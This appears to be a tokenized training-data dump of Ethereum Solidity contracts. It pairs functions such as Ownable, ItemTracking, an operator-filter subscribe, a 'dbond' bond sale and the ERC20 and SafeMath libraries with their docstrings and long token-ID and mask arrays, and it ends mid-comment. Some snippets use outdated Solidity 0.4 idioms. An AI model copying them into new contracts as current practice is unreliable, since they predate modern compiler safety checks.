[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 5765, 5621, 4766, 12900, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xc77284551AD1bD65669EeE360b636a2241f35F8B/sources/contracts/NonMintableV3.sol
* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./
contract Ownable is Context { address public _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
9,654,421
[ 1, 8924, 1605, 1492, 8121, 279, 5337, 2006, 3325, 12860, 16, 1625, 1915, 353, 392, 2236, 261, 304, 3410, 13, 716, 848, 506, 17578, 12060, 2006, 358, 2923, 4186, 18, 1220, 1605, 353, 1399, 3059, 16334, 18, 2597, 903, 1221, 2319, 326, 9606, 1375, 3700, 5541, 9191, 1492, 848, 506, 6754, 358, 3433, 4186, 358, 13108, 3675, 999, 358, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14223, 6914, 353, 1772, 288, 203, 565, 1758, 1071, 389, 8443, 31, 203, 203, 565, 871, 14223, 9646, 5310, 1429, 4193, 12, 203, 3639, 1758, 8808, 2416, 5541, 16, 203, 3639, 1758, 8808, 394, 5541, 203, 565, 11272, 203, 203, 203, 565, 3885, 1435, 2713, 288, 203, 3639, 389, 8443, 273, 1234, 18, 15330, 31, 203, 3639, 3626, 14223, 9646, 5310, 1429, 4193, 12, 2867, 12, 20, 3631, 389, 8443, 1769, 203, 565, 289, 203, 203, 565, 9606, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 291, 5541, 9334, 315, 5460, 429, 30, 4894, 353, 486, 326, 3410, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 353, 5541, 1435, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 1234, 18, 15330, 422, 389, 8443, 31, 203, 565, 289, 203, 203, 565, 445, 1654, 8386, 5460, 12565, 1435, 1071, 1338, 5541, 288, 203, 3639, 3626, 14223, 9646, 5310, 1429, 4193, 24899, 8443, 16, 1758, 12, 20, 10019, 203, 3639, 389, 8443, 273, 1758, 12, 20, 1769, 203, 565, 289, 203, 203, 565, 445, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1071, 1338, 5541, 288, 203, 3639, 389, 13866, 5460, 12565, 12, 2704, 5541, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 13866, 5460, 12565, 12, 2867, 394, 5541, 13, 2713, 288, 203, 3639, 2583, 12, 203, 5411, 394, 5541, 480, 1758, 12, 20, 3631, 203, 5411, 315, 5460, 429, 30, 394, 3410, 353, 326, 3634, 1758, 6, 203, 3639, 11272, 203, 3639, 3626, 14223, 9646, 5310, 1429, 2 ]
pragma solidity ^0.4.0; contract ItemTracking { struct Item { uint id; address owner; uint[] components; bool exists; bool created; } mapping(uint => Item) items; modifier itemCreated(uint id) { if (items[id].created == false) { throw; } _; } modifier itemNotCreated(uint id) { if (items[id].created) { throw; } _; } modifier itemExists(uint id) { if (items[id].exists == false) { throw; } _; } modifier itemsExist(uint[] ids) { for (uint i = 0; i < ids.length; i++) { if (items[ids[i]].exists == false) { throw; } } _; } modifier itemOwnedBySender(uint id) { if (items[id].owner != msg.sender) { throw; } _; } modifier itemsOwnedBySender(uint[] ids) { for (uint i = 0; i < ids.length; i++) { if (items[ids[i]].owner != msg.sender) { throw; } } _; } modifier itemIsCombined(uint id) { if (items[id].components.length < 2) { throw; } _; } modifier itemContainsComponents(uint id, uint[] componentIds) { for (uint i = 0; i < componentIds.length; i++) { bool componentFound = false; for (uint j = 0; j < items[id].components.length; j++) { if (items[id].components[j] == componentIds[i]) { componentFound = true; break; } } if (!componentFound) { throw; } } _; } // Create a new item function create(uint id) itemNotCreated(id) { items[id].id = id; items[id].exists = true; items[id].created = true; items[id].owner = msg.sender; } // Combine items to create a single new one function combine(uint[] srcIds, uint resultId) itemsExist(srcIds) itemsOwnedBySender(srcIds) { // Verify that at least 2 components are being combined if (srcIds.length < 2) { throw; } for (uint i = 0; i < srcIds.length; i++) { items[srcIds[i]].exists = false; } create(resultId); items[resultId].components = srcIds; } // Split a combined item into its components function split(uint srcId) itemExists(srcId) itemOwnedBySender(srcId) itemIsCombined(srcId) { items[srcId].exists = false; for (uint i = 0; i < items[srcId].components.length; i++) { uint componentId = items[srcId].components[i]; items[componentId].exists = true; items[componentId].owner = items[srcId].owner; } } // A private helper function for removing a component from the components // array of an item. Doesn't handle error cases (e.g. invalid IDs or // componentId not a component of itemID). The caller should make sure that // input is valid. function removeComponent(uint itemId, uint componentId) private { // Find out what the components index is in parent item's component // listing. uint componentIndex = 0; for (uint j = 0; j < items[itemId].components.length; j++) { if (componentId == items[itemId].components[j]) { componentIndex = j; break; } } // Remove item from componentIndex. To not bloat the array, let's do // this by copying value from the last index to componentIndex and // then remove the last index. uint lastIndex = items[itemId].components.length - 1; items[itemId].components[componentIndex] = items[itemId].components[lastIndex]; delete items[itemId].components[lastIndex]; items[itemId].components.length--; } // Extract the sub-components listed in the parameter. Leave the rest of the // components in the parent item. Parent item maintains its old ID. // If less than 2 components would remain in the parent component, then // extract behaves exactly like split. function extract(uint srcId, uint[] toBeExtractedIds) itemExists(srcId) itemOwnedBySender(srcId) itemIsCombined(srcId) itemContainsComponents(srcId, toBeExtractedIds) { // If less than 2 components would remain in the parent item after // the extraction, perform split. if (items[srcId].components.length - toBeExtractedIds.length < 2) { split(srcId); return; } // Make extracted components exist and grant ownership to owner of // parent item. Remove extracted components from parent item's component // listing for (uint i = 0; i < toBeExtractedIds.length; i++) { uint componentId = toBeExtractedIds[i]; items[componentId].exists = true; items[componentId].owner = items[srcId].owner; removeComponent(srcId, componentId); } } // Handover ownership of the item function handover(uint id, address receiver) itemExists(id) itemOwnedBySender(id) { items[id].owner = receiver; } // Return number of components for a given item function getComponentCount(uint id) itemCreated(id) constant returns (uint) { return items[id].components.length; } // Return ID of a component of a given parent item at given index. function getComponentId(uint parentId, uint componentIndex) itemCreated(parentId) itemIsCombined(parentId) constant returns (uint) { if (componentIndex >= items[parentId].components.length) { throw; } return items[parentId].components[componentIndex]; } // Return owner of a given item function getOwner(uint id) itemCreated(id) constant returns (address) { return items[id].owner; } // Return exists status of a given item function getExistsStatus(uint id) itemCreated(id) constant returns (bool) { return items[id].exists; } // Return created status of a given item function getCreatedStatus(uint id) constant returns (bool) { return items[id].created; } }
Combine items to create a single new one Verify that at least 2 components are being combined
function combine(uint[] srcIds, uint resultId) itemsExist(srcIds) itemsOwnedBySender(srcIds) { if (srcIds.length < 2) { throw; } for (uint i = 0; i < srcIds.length; i++) { items[srcIds[i]].exists = false; } create(resultId); items[resultId].components = srcIds; }
7,320,410
[ 1, 21720, 1516, 358, 752, 279, 2202, 394, 1245, 8553, 716, 622, 4520, 576, 4085, 854, 3832, 8224, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8661, 12, 11890, 8526, 1705, 2673, 16, 2254, 563, 548, 13, 203, 565, 1516, 4786, 12, 4816, 2673, 13, 203, 565, 1516, 5460, 18696, 12021, 12, 4816, 2673, 13, 288, 203, 3639, 309, 261, 4816, 2673, 18, 2469, 411, 576, 13, 288, 203, 5411, 604, 31, 203, 3639, 289, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 1705, 2673, 18, 2469, 31, 277, 27245, 288, 203, 5411, 1516, 63, 4816, 2673, 63, 77, 65, 8009, 1808, 273, 629, 31, 203, 3639, 289, 203, 3639, 752, 12, 2088, 548, 1769, 203, 3639, 1516, 63, 2088, 548, 8009, 8119, 273, 1705, 2673, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x5bCDC405Cb237996d29fe3Ec779209e65fF2d39C/sources/OperatorFilterRegistry.sol
* @notice Subscribe an address to another registrant's filtered operators and codeHashes. Will remove previous subscription if present. Note that accounts with subscriptions may go on to subscribe to other accounts - in this case, subscriptions will not be forwarded. Instead the former subscription's existing entries will still be used./
function subscribe(address registrant, address newSubscription) external onlyAddressOrOwner(registrant) { if (registrant == newSubscription) { revert CannotSubscribeToSelf(); } if (newSubscription == address(0)) { revert CannotSubscribeToZeroAddress(); } address registration = _registrations[registrant]; if (registration == address(0)) { revert NotRegistered(registrant); } if (registration == newSubscription) { revert AlreadySubscribed(newSubscription); } address newSubscriptionRegistration = _registrations[newSubscription]; if (newSubscriptionRegistration == address(0)) { revert NotRegistered(newSubscription); } if (newSubscriptionRegistration != newSubscription) { revert CannotSubscribeToRegistrantWithSubscription(newSubscription); } if (registration != registrant) { _subscribers[registration].remove(registrant); emit SubscriptionUpdated(registrant, registration, false); } _registrations[registrant] = newSubscription; _subscribers[newSubscription].add(registrant); emit SubscriptionUpdated(registrant, newSubscription, true); }
2,831,648
[ 1, 16352, 392, 1758, 358, 4042, 17450, 970, 1807, 5105, 12213, 471, 981, 14455, 18, 9980, 1206, 2416, 540, 4915, 309, 3430, 18, 540, 3609, 716, 9484, 598, 11912, 2026, 1960, 603, 358, 9129, 358, 1308, 9484, 300, 316, 333, 648, 16, 540, 11912, 903, 486, 506, 19683, 18, 17561, 326, 27313, 4915, 1807, 2062, 3222, 903, 4859, 506, 540, 1399, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9129, 12, 2867, 17450, 970, 16, 1758, 394, 6663, 13, 3903, 1338, 1887, 1162, 5541, 12, 1574, 3337, 970, 13, 288, 203, 3639, 309, 261, 1574, 3337, 970, 422, 394, 6663, 13, 288, 203, 5411, 15226, 14143, 16352, 774, 10084, 5621, 203, 3639, 289, 203, 3639, 309, 261, 2704, 6663, 422, 1758, 12, 20, 3719, 288, 203, 5411, 15226, 14143, 16352, 774, 7170, 1887, 5621, 203, 3639, 289, 203, 3639, 1758, 7914, 273, 389, 1574, 3337, 1012, 63, 1574, 3337, 970, 15533, 203, 3639, 309, 261, 14170, 422, 1758, 12, 20, 3719, 288, 203, 5411, 15226, 2288, 10868, 12, 1574, 3337, 970, 1769, 203, 3639, 289, 203, 3639, 309, 261, 14170, 422, 394, 6663, 13, 288, 203, 5411, 15226, 17009, 1676, 15802, 12, 2704, 6663, 1769, 203, 3639, 289, 203, 3639, 1758, 394, 6663, 7843, 273, 389, 1574, 3337, 1012, 63, 2704, 6663, 15533, 203, 3639, 309, 261, 2704, 6663, 7843, 422, 1758, 12, 20, 3719, 288, 203, 5411, 15226, 2288, 10868, 12, 2704, 6663, 1769, 203, 3639, 289, 203, 3639, 309, 261, 2704, 6663, 7843, 480, 394, 6663, 13, 288, 203, 5411, 15226, 14143, 16352, 774, 20175, 970, 1190, 6663, 12, 2704, 6663, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 14170, 480, 17450, 970, 13, 288, 203, 5411, 389, 1717, 17769, 63, 14170, 8009, 4479, 12, 1574, 3337, 970, 1769, 203, 5411, 3626, 12132, 7381, 12, 1574, 3337, 970, 16, 7914, 16, 629, 1769, 203, 3639, 289, 203, 3639, 389, 1574, 3337, 1012, 63, 1574, 3337, 970, 65, 273, 2 ]
pragma solidity ^0.4.24; contract dbond { address owner; struct blockinfo { uint256 outstanding; // remaining debt at block uint256 dividend; // % dividend users can claim uint256 value; // actual ether value at block uint256 index; // used in frontend for async checks } struct debtinfo { uint256 idx; // dividend array position uint256 pending; // pending balance at block uint256 initial; // initial ammount for stats } struct account { uint256 ebalance; // ether balance mapping(uint256 => debtinfo) owed; // keeps track of outstanding debt } uint256 public bondsize; // size of the current bond uint256 public interest; // interest to pay clients expressed in ETH(ie: 10% is 10ETH) uint256 public IDX; // current dividend block mapping(uint256 => blockinfo) public blockData; // dividend block data mapping(address => account) public balances; // public user balances bool public selling; // are we selling bonds? constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "only owner can call."); _; } modifier canBuy() { require(selling, "bonds are not selling"); if(bondsize > 0) require(msg.value <= bondsize-blockData[IDX].value, "larger than bond"); _; } // sets the maximum ammount to receive // cannot be lowered unless this bond sale is closed(prevents overflows) function setBondSize(uint256 _bondsize) public onlyOwner { require(_bondsize >= bondsize, "for a reduced bond size please end the current sale and make a new one"); bondsize = _bondsize; } // Sets the interest rate for all future purchases // current outstanding debt is not affected by this function setInterestRate(uint256 _interest) public onlyOwner { interest = _interest; } // enables a bond sale // if the bondsize is set to 0, the sale becomes akin to a continous bond contract function sellBond(uint256 _bondsize, uint256 _interest) public onlyOwner { selling = true; bondsize = _bondsize; interest = _interest; } // terminates a bond sale, the outstanding still needs to be paid off function endBondSale() public onlyOwner { selling = false; blockData[IDX].dividend = 0; _nextblock(); } // makes a payment to all outstanding debt at block IDX // advances the bond block by 1 and distributes in terms of percentage function payBond() public payable onlyOwner { // keeps track of the actual outstanding, prevents ether leaking require(msg.value > 0, "zero payment detected"); require(msg.value <= blockData[IDX].outstanding, "overpayment will result in lost Ether"); // actual payment % that goes to all buyers blockData[IDX].dividend = (msg.value * 100 ether) / blockData[IDX].outstanding; _nextblock(); blockData[IDX].outstanding -= (blockData[IDX-1].outstanding * blockData[IDX-1].dividend ) / 100 ether; } function buyBond() public payable canBuy { _bond(msg.sender, msg.value); } // withdraws ether to the user account // user has to claim his money by calling getOwed first function withdraw() public { require(balances[msg.sender].ebalance > 0, "not enough to withdraw"); uint256 sval = balances[msg.sender].ebalance; balances[msg.sender].ebalance = 0; msg.sender.transfer(sval); emit event_withdraw(msg.sender, sval); } // returns the ammount that is owed to that user at a specific block function owedAt(uint256 blk) public view returns(uint256, uint256, uint256) { return (balances[msg.sender].owed[blk].idx, balances[msg.sender].owed[blk].pending, balances[msg.sender].owed[blk].initial ); } // actual buy calculation, adds to the outstanding debt // interest is calculated and added here according to the current rate function _bond(address addr, uint256 val) internal { uint256 tval = val + ((val * interest) / 100 ether); balances[owner].ebalance += val; blockData[IDX].value += val; blockData[IDX].outstanding += tval; balances[addr].owed[IDX].idx = IDX; balances[addr].owed[IDX].pending += tval; balances[addr].owed[IDX].initial += tval; emit event_buy(val); } // moves the bond block forward by 1, carries over all previous debt function _nextblock() internal { IDX += 1; blockData[IDX].index = IDX; // previous debt rolls over to next block blockData[IDX].outstanding = blockData[IDX-1].outstanding; emit event_newblk(IDX); } // users call this per bond they have purchased in order to claim their money // their total owed for the bond goes down and is added to their ebalance function getOwed(uint256 blk) public { require(balances[msg.sender].owed[blk].idx < IDX && blk < IDX, "current block"); uint256 cdiv = 0; for(uint256 i = 0; i < 1000; i++) { cdiv = (balances[msg.sender].owed[blk].pending * blockData[balances[msg.sender].owed[blk].idx].dividend ) / 100 ether; cdiv = (cdiv > balances[msg.sender].owed[blk].pending)? balances[msg.sender].owed[blk].pending : cdiv; balances[msg.sender].owed[blk].idx += 1; balances[msg.sender].owed[blk].pending -= cdiv; balances[msg.sender].ebalance += cdiv; if( balances[msg.sender].owed[blk].pending == 0 || balances[msg.sender].owed[blk].idx >= IDX ) return; } } // events ------------------------------------------------------------------ event event_withdraw(address addr, uint256 val); event event_newblk(uint256 idx); event event_buy(uint256 val); }
returns the ammount that is owed to that user at a specific block
function owedAt(uint256 blk) public view returns(uint256, uint256, uint256) { return (balances[msg.sender].owed[blk].idx, balances[msg.sender].owed[blk].pending, balances[msg.sender].owed[blk].initial ); }
1,764,422
[ 1, 6154, 326, 2125, 4778, 716, 353, 2523, 329, 358, 716, 729, 622, 279, 2923, 1203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 2523, 329, 861, 12, 11890, 5034, 11992, 13, 1071, 1476, 1135, 12, 11890, 5034, 16, 2254, 5034, 16, 2254, 5034, 13, 288, 7010, 202, 202, 2463, 261, 70, 26488, 63, 3576, 18, 15330, 8009, 543, 329, 63, 3083, 79, 8009, 3465, 16, 7010, 1082, 202, 70, 26488, 63, 3576, 18, 15330, 8009, 543, 329, 63, 3083, 79, 8009, 9561, 16, 7010, 1082, 202, 70, 26488, 63, 3576, 18, 15330, 8009, 543, 329, 63, 3083, 79, 8009, 6769, 202, 1769, 7010, 202, 97, 203, 202, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-09-12 */ /** *Submitted for verification at Etherscan.io on 2020-09-05 */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to 